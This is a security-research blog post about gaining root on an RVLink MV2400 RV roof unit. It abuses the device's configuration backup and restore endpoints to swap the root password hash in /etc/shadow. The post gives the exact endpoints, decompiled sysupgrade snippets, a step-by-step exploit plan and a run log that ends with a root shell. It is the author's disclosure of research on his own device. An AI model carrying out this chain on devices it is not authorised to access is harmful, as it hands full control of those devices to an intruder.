Rooting the RVLink MV2400: A Deep Dive into Configuration Backup/Restore Vulnerabilities (RVLink hacking part 2.5)

Rooting the RVLink MV2400: A Deep Dive into Configuration Backup/Restore Vulnerabilities (RVLink hacking part 2.5)
Photo captured at the scene

Before diving into the technical details, it's important to acknowledge that the general approach of leveraging backup and restore mechanisms for root access on OpenWrt-based devices isn't entirely new. In fact, during my evaluation, I encountered resources like the OpenWrt wiki page for the COMFAST CF-E120A v3, which outlines similar steps for gaining root access to flash OpenWrt.

However, I want to emphasize that the methodology detailed in this post for the RVLink MV2400 was conceived independently, stemming directly from my own research and the reverse engineering of its webmgnt binary. Discovering this path on my own felt like a significant achievement, and this report documents that specific journey and its findings.

This is particularly noteworthy because while the RVLink MV2400 runs OpenWrt, its standard web user interface has been completely stripped (a custom control api was added in it's stead that the paired indoor unit uses to configure the device). Consequently, the existence of these potentially vulnerable mbox-config endpoints within the webmgnt binary—apparently a carryover from the COMFAST developers—was not discoverable through any visible interface. My awareness of their potential presence, and thus the starting point for this investigation, was entirely thanks to the prior analysis of firmware from a similar COMFAST device.

This report details the steps taken to identify and exploit a vulnerability in the RVLink MV2402 roof unit (running firmware based on OpenWrt, potentially derived from COMFAST CF-E5 hardware) that allows an authenticated user to gain root access through the configuration backup and restore mechanism. The analysis focuses on the behavior of the /cgi-bin/mbox-config endpoint handled by the webmgnt binary.

1. Endpoint Discovery and Initial Probe

  • Prior Research Context: Initial reconnaissance efforts involved reverse engineering firmware obtained from the COMFAST support website for similar hardware platforms (specifically, devices suspected to share lineage with the COMFAST CF-E5, as detailed in the related blog post "RVLink Roof Unit Deep Dive Part 2: Firmware Secrets and API"). This prior analysis revealed the common usage of a FastCGI binary, typically named webmgnt, handling API requests through the /cgi-bin/mbox-config endpoint. A common pattern identified was the use of section= query parameters to dispatch requests to different backend functions (e.g., section=wifi_scan, section=guide_config).
  • Targeted Probing: Based on this understanding derived from related firmware, the /cgi-bin/mbox-config endpoint on the live RVLink MV2400 device was probed for potentially sensitive or interesting section= parameters. The parameter section=system_config_backup was identified as a high-value target.

Initial Action: To trigger this potential backup function, a custom Python script was developed primarily for convenience in automatically handling acquiring a valid session id. This wrapper sent an authenticated HTTP POST request—determined experimentally to be the required method for this action on the target—to the device:

POST http://192.168.10.254/cgi-bin/mbox-config?method=GET&section=system_config_backup

2. Discovery of Archive Contents (bakup.file)

  • Data Retrieval: The request sent in Step 1 resulted in the device transmitting a file stream, which was saved locally. Server-side logic indicated the intended filename was bakup.file. (Note: The filename bakup.file is used verbatim as encountered on the system and in its code.)
  • File Analysis: Standard file analysis utilities (file, tar -tvzf) applied to this downloaded file identified it as a gzipped tar archive (.tar.gz).
  • Contents & Significance: Further inspection confirmed the archive contained a snapshot of the device's /etc directory, including critical configuration files and the /etc/shadow file containing hashed user passwords. This information disclosure confirmed a serious vulnerability vector.
$ file bakup.file
bakup.file: gzip compressed data, max compression, from Unix, original size modulo 2^32 116224

$ tar -tvf bakup.file
-rw-r--r-- root/root         0 2025-05-06 14:55 etc/changeconfig
-rw-rw-r-- root/root         0 2017-03-28 22:55 etc/config/arp
-rw-rw-r-- root/root         0 2017-03-28 22:55 etc/config/cluster
-rw-r--r-- root/root        43 2025-05-06 15:00 etc/config/common
-rw-rw-r-- root/root       177 2018-09-28 22:12 etc/config/common_ap
-rw-r--r-- root/root       692 2020-04-07 00:27 etc/config/ddns
-rw-r--r-- root/root       741 2020-05-04 21:13 etc/config/dhcp
-rw-r--r-- root/root       134 2020-04-07 00:18 etc/config/dropbear
-rw-r--r-- root/root      5246 2020-04-07 00:27 etc/config/firewall
-rwxrwxr-x root/root         0 2018-06-21 05:07 etc/config/led
-rw-rw-r-- root/root       135 2019-10-23 06:18 etc/config/login
-rwxrwxr-x root/root       104 2018-09-28 22:12 etc/config/mbox
-rw-r--r-- root/root      1489 2025-05-06 15:00 etc/config/network
-rw-rw-r-- root/root        56 2018-12-18 20:33 etc/config/probe
-rw-rw-r-- root/root      1522 2017-03-28 22:55 etc/config/qos
-rwxrwxr-x root/root       148 2019-10-23 03:24 etc/config/remote
-rwxr-xr-x root/root      3218 2025-05-06 12:56 etc/config/system
-rwxrwxr-x root/root      3001 2019-06-15 03:03 etc/config/system_ac
-rwxrwxr-x root/root       520 2019-10-23 03:24 etc/config/system_ap
-rw-r--r-- root/root       127 2025-05-06 14:55 etc/config/vlan
-rw-r--r-- root/root      2142 2025-05-06 15:00 etc/config/wireless
-rw-rw-r-- root/root        36 2025-05-06 15:02 etc/crontabs/root
-rw------- root/root       458 2020-05-04 21:12 etc/dropbear/dropbear_dss_host_key
-rw------- root/root       805 2020-05-04 21:12 etc/dropbear/dropbear_rsa_host_key
-rw-r--r-- root/root       352 2020-04-07 00:27 etc/firewall.user
-rw-rw-r-- root/root       123 2017-03-28 22:55 etc/group
-rw-rw-r-- root/root        39 2025-05-06 15:01 etc/hosts
-rw-rw-r-- root/root       126 2017-03-28 22:55 etc/inittab
-r----x--t root/root         3 2025-05-07 12:11 etc/max_link_timeout
-rwxr-xr-x root/root      1065 2020-04-07 00:24 etc/nginx/fastcgi_params
-rwxr-xr-x root/root      2837 2020-04-07 00:24 etc/nginx/koi-utf
-rwxr-xr-x root/root      2223 2020-04-07 00:24 etc/nginx/koi-win
-rwxr-xr-x root/root      3463 2020-04-07 00:24 etc/nginx/mime.types
-rw-r--r-- root/root      5626 2020-04-07 00:24 etc/nginx/naxsi_core.rules
-rwxr-xr-x root/root      2095 2020-04-07 00:24 etc/nginx/nginx.conf
-rw-r--r-- root/root      1295 2020-04-07 00:24 etc/nginx/nginx.conf.syslog
-rwxr-xr-x root/root      1674 2020-04-07 00:24 etc/nginx/ssl/cflogin.key
-rwxr-xr-x root/root      3666 2020-04-07 00:24 etc/nginx/ssl/cflogin.pem
-rwxr-xr-x root/root      3610 2020-04-07 00:24 etc/nginx/win-utf
-rw-rw-r-- root/root         2 2019-10-23 03:24 etc/parental_ctl.json
-rw-r--r-- root/root       190 2020-04-04 05:23 etc/passwd
-rw-rw-r-- root/root       441 2018-09-28 22:12 etc/profile
-rw-rw-r-- root/root       132 2017-03-28 22:55 etc/rc.local
-rw------- root/root       152 2020-04-04 05:24 etc/shadow
-rw-rw-r-- root/root         9 2017-03-28 22:55 etc/shells
-rw-r--r-- root/root     24576 2025-05-07 12:11 etc/sta_list
-rwxr-xr-x root/root         8 2025-05-07 12:11 etc/sta_list_num
-rw-rw-r-- root/root       872 2017-03-28 22:55 etc/sysctl.conf
-rw-r--r-- root/root         3 2025-05-06 13:16 etc/wan_list

BINGO

3. Analysis of Backup Creation (mbox-config_GET_system_config_backup)

  • Trigger: As established in Step 1, the HTTP request targeting section=system_config_backup invokes the server-side function mbox-config_GET_system_config_backup within the webmgnt binary.
  • Mechanism: The function executes the shell command sysupgrade -b /tmp/bakup.file. This utilizes the standard OpenWrt sysupgrade utility with the -b option, which is specifically designed to create a configuration backup archive (in .tar.gz format) at the specified path (/tmp/bakup.file). The contents of this archive are determined by the system's sysupgrade configuration (usually including /etc/config/, /etc/shadow, /etc/passwd, etc.).
  • File Handling: After creating the archive, the function sets a variable (download_filename) to "bakup.file". This signals to the main request handling logic (within the broader webmgnt_FROM_DEVICE.c code) to read the content of /tmp/bakup.file, send it back to the client with appropriate download headers, and subsequently delete the temporary file.

Code Analysis: The code snippet from the main() function within webmgnt reveals the core mechanism for creating the backup

// Function: mbox-config_GET_system_config_backup (from code_snippets.txt)
sprintf(acStack_110,"sysupgrade -b %s >> /dev/null","/tmp/bakup.file",in_a3,puVar1);
system(acStack_110);
strcpy(&download_filename,"bakup.file");
return 0;

4. Formulation of the Exploit Plan

  • Hypothesis: Based on the discovery that /etc/shadow is included in the downloadable sysupgrade -b archive, and the common practice of pairing backup functions with restore functions, the following exploit plan was developed:
    1. Download the bakup.file archive.
    2. Extract the archive, modify the etc/shadow file to replace the root user's password hash with a known hash (e.g., generated via passlib.hash.md5_crypt).
    3. Re-package the modified /etc structure into a new tar.gz archive.
    4. Identify the corresponding configuration restore function on the device (hypothesized to be triggered by section=system_load_config).
    5. Upload the modified archive via the restore function.
    6. If the restore function overwrites files based on the archive, the live /etc/shadow will be replaced.
    7. A subsequent reboot (potentially triggered by the restore function) should activate the new password, granting root SSH access.

5. Analysis of Restore Function (mbox-config?method=SET&section=system_load_config)

  • File Handling : Analysis of the full webmgnt binary's file upload logic (outside the provided snippet but necessary context) confirms that multipart/form-data uploads associated with actions like system_load_config result in the file being saved to the fixed path /tmp/bakup.file on the device.
  • Confirmation of Behavior: This code confirms the use of sysupgrade -r /tmp/bakup.file && reboot.
    • sysupgrade -r <archive> is the standard OpenWrt command to restore configuration from the specified archive.
    • Its defined behavior is to extract the archive's contents to the root filesystem (/), overwriting any existing files with matching paths found within the archive. This directly facilitates the overwrite of /etc/shadow.
    • The && reboot suffix ensures the device restarts immediately after the restore, applying the changes.

Restore Execution: After the uploaded file is saved, the function mbox-config_SET_system_load_config is called. The provided snippet for this function shows the command it executes:

// Function: mbox-config_SET_system_load_config (from code_snippets.txt)
sprintf(acStack_110,"sleep 2 && sysupgrade -r %s && reboot & >> /dev/null","/tmp/bakup.file",in_a3,puVar1);
system(acStack_110);

Trigger: The restore mechanism is invoked by sending the modified archive as part of an HTTP POST request with multipart/form-data encoding to the endpoint:

POST http://192.168.10.254/cgi-bin/mbox-config?method=SET&section=system_load_config

6. Conclusion

The vulnerability originates from the combination of an information disclosure vulnerability (system_config_backup exposing /etc/shadow via sysupgrade -b) and an insecure file overwrite vulnerability (where system_load_config blindly passes a user-uploaded archive from /tmp/bakup.file to sysupgrade -r). An authenticated user can download the configuration backup, modify the root user's password hash within the /etc/shadow file in the archive, and upload the modified archive via the restore function. The sysupgrade -r command then overwrites the live /etc/shadow file, and the subsequent reboot grants the user root SSH access with their chosen password, effectively giving an attacker full administrative control over the device.

So, did it work?

Yes, it works. Proof of concept code here

I used Google Gemini to add Adeptus Mechanicus themed verbose logging to the script for my attempt. This script also enabled the SSH banner in dropbear and uploaded a custom /etc/banner file.

I’m currently connecting to the device via a twingate connector running on an old laptop I left in there last weekend. I wasn’t expecting the POST to the config restore endpoint to work on the first try and it took over 5 minutes to come back online. What a nail-biter.

=======================================================
 RVLink MV2400 ARCHIVE SUBVERSION PROTOCOL v1.9       
 Invoked under the Auspices of Archmagos Kotov        
 For Sanctioned Analysis Only - Omnissiah Protect Us 
=======================================================
[*] Invoking Rite of Connection with Target Cogitator...
[*] Target Cogitator Designation: 192.168.10.254
[+] Noospheric Link Established. Session Spirit Instantiated.

[+] Initiating Litany of Authentication...
[*] Invoking Authentication Canticle (Attempt 1/3)...
[*] Compiling Access Invocation: User-Designate='admin', Pass-Codex='[REDACTED]'
[*] Transmitting Authentication Canticle...
[*] Analyzing Machine Spirit Response Patterns...
[SUCCESS] Authentication Confirmed. Access Grata by the Omnissiah!
[+] Blessed Session Spirit Token Acquired: c0a80aa8-3cfffff...

[+] Preparing for Data Exfiltration Module: SYSTEM BACKUP...
[*] Session Token c0a80aa8-3cfffff... verified active.
[*] Target Data Locus: http://192.168.10.254/cgi-bin/mbox-config?method=GET&section=system_config_backup
[*] Beginning Invocation for Bulk Data Sanctification (POST)...
[+] Data Conduit Open. Receiving Sanctified Data Packets...
[*] Cogitator reports Data-Type: application/x-targz
[*] Acquiring Fragments... 18 KiB
[SUCCESS] Acquisition Ritual Complete. Archive 'c:\Users\wes\Documents\RVLINK\rv2402\cognitor_backup_archive.tgz' Secured (18489 bytes).

[+] Initial Data Archive Acquisition Successful. Commencing payload modification...
[*] Invoking Litany of Hashing (md5_crypt) for Access Phrase: '[REDACTED]'
[+] MD5-crypt hash calculation complete. Salt 'DeusMech' consecrated.
[*] Target Root Access Codex for Implantation: $1$DeusMech$VSN0k/QJguhtxuNUoH7hq0
[*] Preparing sacred banner inscription...

[+] Invoking Rite of Archive Transmutation and Sanctification...
[*] Unspooling Archive Bindings into Logis Buffer...
[!] Locating Dropbear config: etc/config/dropbear. Applying BannerFile directive...
[+] Ensured correct BannerFile directive is active in Dropbear config.
[+] Dropbear configuration adjusted for sacred banner.
[!] Locating Data-Slate: etc/shadow...
[*] Parsing Shadow hieroglyphs for root sigil...
[*] Root User Invocation Sigil identified...
[+] Root Access Codex re-scribed.
[+] Altered 'etc/shadow' integrated into payload.
[+] Inscribing new sacred banner into '/etc/banner'...
[*] Applying Rites of Compression and Finalizing Transmuted Archive...
[SUCCESS] Archive Transmutation and Sanctification Complete. Payload is blessed.
[*] Transmuted Payload Archive 'c:\Users\wes\Documents\RVLINK\rv2402\modified_payload_archive.tgz' staged locally.

[+] Payload successfully transmitted. Cogitator should initiate reboot.
[*] Observing Noosphere for 5 cycles...
[*] Initiating Canticle of Pinging 192.168.10.254...


[+] OMNISSIAH BE PRAISED! Cogitator 192.168.10.254 is responding after 312s.
[+] Reboot sequence complete. Initiating final verification via SSH...

[+] Initiating Rite of SSH Verification: root@192.168.10.254
[*] Applying cryptographic compatibility shims for ancient Machine Spirit (Dropbear)...
[+] Cryptographic shims applied successfully.
[*] Attempting secure channel establishment...
[*] Using explicit disabled_algorithms for host keys: ['rsa-sha2-512', 'rsa-sha2-256']
[*] Server Banner:
-------
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+    01001000 01100101 01110010 01100101 01110100 01101001 01100011 01110011   +
+    00100000 01110111 01101001 01101100 01101100 00100000 01100010 01100101   +
+    00100000 01110000 01110101 01110010 01100111 01100101 01100100 00100001   +
+                                                                              +
+              This Cogitator Operates Under the Blessed Guidance              +
+                       of the Adeptus Mechanicus - Mars                       +
+                                                                              +
+ Unauthorized Access is Techno-Heresy.                                        +
+ Glory to the Machine God!                                                    +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-------
[+] Secure Channel Established. Issuing 'id' command...
[*] Command 'id' exit status: 0
[*] Cogitator Response (stdout): uid=0(root) gid=0(root)
[SUCCESS] Root access confirmed! uid=0(root) detected.
[*] Secure channel terminated.
[+] RITUAL COMPLETE AND VERIFIED. Root access granted! The Omnissiah prevails!

[*] Terminating Noospheric Link. Returning Cognition to Primary Chamber...